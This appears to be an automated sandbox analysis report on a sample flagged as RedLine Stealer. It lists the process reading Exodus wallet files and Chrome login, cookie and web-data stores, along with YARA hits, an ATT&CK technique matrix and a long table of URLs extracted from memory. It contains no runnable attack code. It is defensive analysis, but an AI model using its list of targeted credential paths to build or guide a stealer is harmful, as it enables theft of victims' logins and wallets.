Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\			Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior

Source: Yara match	File source: 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 5384, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.3.file.exe.10b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.4a17a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000003.263012533.00000000010B2000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5316, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 5384, type: MEMORYSTR

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	221 Windows Management Instrumentation	Path Interception	411 Process Injection	1 Masquerading	1 OS Credential Dumping	221 Security Software Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	1 Disable or Modify Tools	LSASS Memory	11 Process Discovery	Remote Desktop Protocol	2 Data from Local System	Exfiltration Over Bluetooth	1 Application Layer Protocol	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	231 Virtualization/Sandbox Evasion	Security Account Manager	231 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	411 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	123 System Information Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	31 Obfuscated Files or Information	Cached Domain Credentials	System Owner/User Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

⊘No Antivirus matches

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://tempuri.org/Entity/Id12Response	0%	URL Reputation	safe
http://tempuri.org/	0%	URL Reputation	safe
http://tempuri.org/Entity/Id2Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5	0%	URL Reputation	safe
http://tempuri.org/Entity/Id7	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id6Response	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://tempuri.org/Entity/Id9Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id20	0%	URL Reputation	safe
http://tempuri.org/Entity/Id21	0%	URL Reputation	safe
http://tempuri.org/Entity/Id22	0%	URL Reputation	safe
http://tempuri.org/Entity/Id23	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24	0%	URL Reputation	safe
http://tempuri.org/Entity/Id24Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id1Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10	0%	URL Reputation	safe
http://tempuri.org/Entity/Id11	0%	URL Reputation	safe
http://tempuri.org/Entity/Id12	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13	0%	URL Reputation	safe
http://tempuri.org/Entity/Id13	0%	URL Reputation	safe
http://tempuri.org/Entity/Id14	0%	URL Reputation	safe
http://tempuri.org/Entity/Id15	0%	URL Reputation	safe
http://tempuri.org/Entity/Id16	0%	URL Reputation	safe
http://tempuri.org/Entity/Id17	0%	URL Reputation	safe
http://tempuri.org/Entity/Id18	0%	URL Reputation	safe
http://tempuri.org/Entity/Id5Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id19	0%	URL Reputation	safe
http://tempuri.org/Entity/Id10Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id8Response	0%	URL Reputation	safe
http://tempuri.org/Entity/Id23Response	0%	URL Reputation	safe
http://ns.adoboshop/$	0%	Avira URL Cloud	safe
http://tempuri.org/Entity/Id4pe	1%	Virustotal		Browse
http://tempuri.org/Entity/Id4pe	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	vbc.exe, 00000002.00000002.362689753.0000000007D26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358855894.0000000006CF1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357196581.0000000006B53000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362080107.0000000007C8B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361557498.0000000007BCE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361472237.0000000007BB1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362548163.0000000007D09000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364377850.0000000007EC8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364566369.0000000007EE5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363666444.0000000007E21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358245791.0000000006C64000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362239438.0000000007CA8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363083426.0000000007D87000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363208113.0000000007DA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363550422.0000000007E05000.00000004.00000800.00020000.00000000.sdmp	false		high
https://gcc.gnu.org/bugs/):	file.exe	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	vbc.exe, 00000002.00000002.363208113.0000000007DA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363550422.0000000007E05000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#HexBinary	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id12Response	vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id2Response	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id21Response	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id7	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id6	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id19Response	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id15Response	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ns.adoboshop/$	vbc.exe, 00000002.00000002.354699898.0000000004E86000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id6Response	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.ip.sb/ip	file.exe, file.exe, 00000000.00000003.263012533.00000000010B2000.00000040.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.263412439.00000000004A2000.00000004.00000001.01000000.00000003.sdmp, vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/sc	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id9Response	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	vbc.exe, 00000002.00000002.363208113.0000000007DA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363550422.0000000007E05000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id20	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id21	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id22	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id23	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id24Response	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id1Response	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command=	vbc.exe, 00000002.00000002.362689753.0000000007D26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358855894.0000000006CF1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357196581.0000000006B53000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362080107.0000000007C8B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361557498.0000000007BCE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361472237.0000000007BB1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362548163.0000000007D09000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364377850.0000000007EC8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364566369.0000000007EE5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363666444.0000000007E21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358245791.0000000006C64000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362239438.0000000007CA8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363083426.0000000007D87000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363208113.0000000007DA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363550422.0000000007E05000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Base64Binary	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/trust	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id11	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id12	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16Response	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id13	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe URL Reputation: safe	unknown
http://tempuri.org/Entity/Id14	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id15	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id16	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id17	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id18	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id5Response	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id19	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id10Response	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Entity/Id8Response	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357253699.0000000006B60000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/envelope/	vbc.exe, 00000002.00000002.355948732.0000000006A21000.00000004.00000800.00020000.00000000.sdmp	false		high
https://search.yahoo.com?fr=crmas_sfpf	vbc.exe, 00000002.00000002.362689753.0000000007D26000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358855894.0000000006CF1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.357196581.0000000006B53000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362080107.0000000007C8B000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361557498.0000000007BCE000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.361472237.0000000007BB1000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362548163.0000000007D09000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364377850.0000000007EC8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.364566369.0000000007EE5000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363666444.0000000007E21000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.358245791.0000000006C64000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.362239438.0000000007CA8000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363083426.0000000007D87000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363208113.0000000007DA4000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.363550422.0000000007E05000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	vbc.exe, 00000002.00000002.356537948.0000000006AB2000.00000004.00000800.00020000.00000000.sdmp	false		high
